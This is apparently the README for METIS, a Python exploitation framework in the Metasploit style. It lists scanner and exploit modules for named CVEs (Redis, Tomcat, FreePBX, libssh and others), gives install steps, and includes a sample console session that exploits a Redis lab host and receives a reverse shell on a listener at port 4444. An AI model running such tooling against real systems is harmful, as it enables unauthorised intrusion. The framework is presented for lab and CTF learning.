k3ystr0k3r/metisModular Python exploitation framework with a Metasploit-style console, auto-registering Exploit and Auxiliary modules, tri-state checks, and multiple session transports for lab and CTF targets.
███╗ ███╗███████╗████████╗██╗███████╗
████╗ ████║██╔════╝╚══██╔══╝██║██╔════╝
██╔████╔██║█████╗ ██║ ██║███████╗
██║╚██╔╝██║██╔══╝ ██║ ██║╚════██║
██║ ╚═╝ ██║███████╗ ██║ ██║███████║
╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚══════╝
A Python exploitation framework built for learning. Modular architecture, themed console, multiple session transports, and a growing library of CVE modules.
METIS is a community-driven security research framework. The goal is to build a growing collection of modules contributed by security researchers, developers, and the wider community.
Have a useful scanner, auxiliary module, exploit module, or other security research tooling you'd like to share? Add it to METIS and open a Pull Request.
All contributions are welcome, provided they follow the project's module structure, coding standards, and authorized-use guidelines.
Whether you're adding a new CVE module, improving an existing module, fixing a bug, or building new framework functionality, your contributions can help make METIS better for everyone.
See Writing modules below for information on creating your own module.
METIS is a modular C2/exploitation framework written in Python. It runs a Metasploit-style interactive console where you select modules, set options, run checks, and land sessions against lab targets.
It's designed for:
It is not designed for:
.py file into modules/ and it auto-registersExploit (spawns sessions) and Auxiliary (scanners, enumerators)check() — every module can verify before attacking (VULNERABLE / SAFE / UNKNOWN)file: target specs with live progress barsKEY=VALUE files| Module | Description |
|---|---|
auxiliary/scanner/tcp_connect | Threaded TCP port scanner |
auxiliary/scanner/hikvision_cve_2017_7921 | Hikvision IP camera auth bypass + user enumeration |
auxiliary/scanner/mikrotik_winbox_creds_cve_2018_14847 | MikroTik WinBox credential leak |
auxiliary/scanner/redis_cve_2022_0543 | Redis Lua sandbox escape detector |
| Module | Session type |
|---|---|
exploit/unix/ftp/vsftpd_234_backdoor | Bind socket |
exploit/multi/http/ghost_cms_handlebars_rce | Reverse socket |
exploit/multi/http/langflow_rce_cve_2026_9198 | Reverse socket |
exploit/multi/http/budibase_plugin_upload_rce_cve_2026_31816 | Reverse socket |
exploit/multi/http/activemq_jolokia_rce_cve_2026_34197 | Reverse socket |
exploit/multi/http/tomcat_put_rce_cve_2017_12615 | Reverse socket |
exploit/multi/http/joomla_jce_rce_cve_2026_48907 | HTTP webshell |
exploit/linux/http/freepbx_sqli_rce_cve_2025_57819 | Delayed reverse (cron) |
exploit/linux/redis/redis_cve_2022_0543_rce | Reverse socket |
exploit/linux/ssh/libssh_auth_bypass_cve_2018_10933 | Paramiko channel |
exploit/linux/telnet/inetutils_telnetd_bypass_cve_2026_24061 | Raw telnet socket |
Requires Python 3.10+ and git.
git clone https://github.com/K3ysTr0K3R/METIS.git
cd METIS
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
requirements.txt:
pwntools>=4.11.0
requests>=2.31.0
paramiko>=3.0.0
redis>=5.0.0
cryptography>=42.0.0
rich>=13.7.0
prompt_toolkit>=3.0.43
Run:
python3 metis.py
metis > show modules
# Module Date Rank Chk Description
-- ------------------------------------------------------------ ---------- --------- --- -----------
1 auxiliary/scanner/hikvision_cve_2017_7921 2017-09-23 normal Yes Hikvision IP Camera Authentication Bypass (CVE-2017-7921)
2 auxiliary/scanner/mikrotik_winbox_creds_cve_2018_14847 2018-08-01 great Yes MikroTik WinBox Credential Leak (CVE-2018-14847)
...
15 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent Yes vsftpd 2.3.4 Backdoor Command Execution
metis > search redis
# Module Date Rank Chk Description
-- ------ ---- ---- --- -----------
1 auxiliary/scanner/redis_cve_2022_0543 2022-02-18 excellent Yes Redis CVE-2022-0543 Scanner
2 exploit/linux/redis/redis_cve_2022_0543_rce 2022-02-18 excellent Yes Redis CVE-2022-0543 Lua Sandbox Escape RCE
metis > use 2
[*] using exploit/linux/redis/redis_cve_2022_0543_rce
metis exploit(linux/redis/redis_cve_2022_0543_rce) > set RHOST 192.168.56.101
[+] RHOST => 192.168.56.101
metis exploit(linux/redis/redis_cve_2022_0543_rce) > set LHOST 192.168.56.1
[+] LHOST => 192.168.56.1
metis exploit(linux/redis/redis_cve_2022_0543_rce) > check
[*] check: probing 192.168.56.101:6379
[VULNERABLE] check: 192.168.56.101 vulnerable to CVE-2022-0543
[*] check -> vulnerable
metis exploit(linux/redis/redis_cve_2022_0543_rce) > exploit
[*] running check() before exploit (AUTOCHECK=true)
[VULNERABLE] check: 192.168.56.101 vulnerable to CVE-2022-0543
[+] target appears vulnerable — proceeding
[*] listening on 192.168.56.1:4444 for reverse shell
[+] shell from 192.168.56.101:51234
[+] new session: <Session a3f2b1c4 192.168.56.101:51234>
metis exploit(linux/redis/redis_cve_2022_0543_rce) > sessions
a3f2b1c4 192.168.56.101:51234 (alive)
metis exploit(linux/redis/redis_cve_2022_0543_rce) > interact a3f2b1c4
[*] interacting with a3f2b1c4. 'background' returns, '!cmd' runs locally.
a3f2b1c4 $ id
uid=105(redis) gid=108(redis) groups=108(redis)
a3f2b1c4 $ background
metis >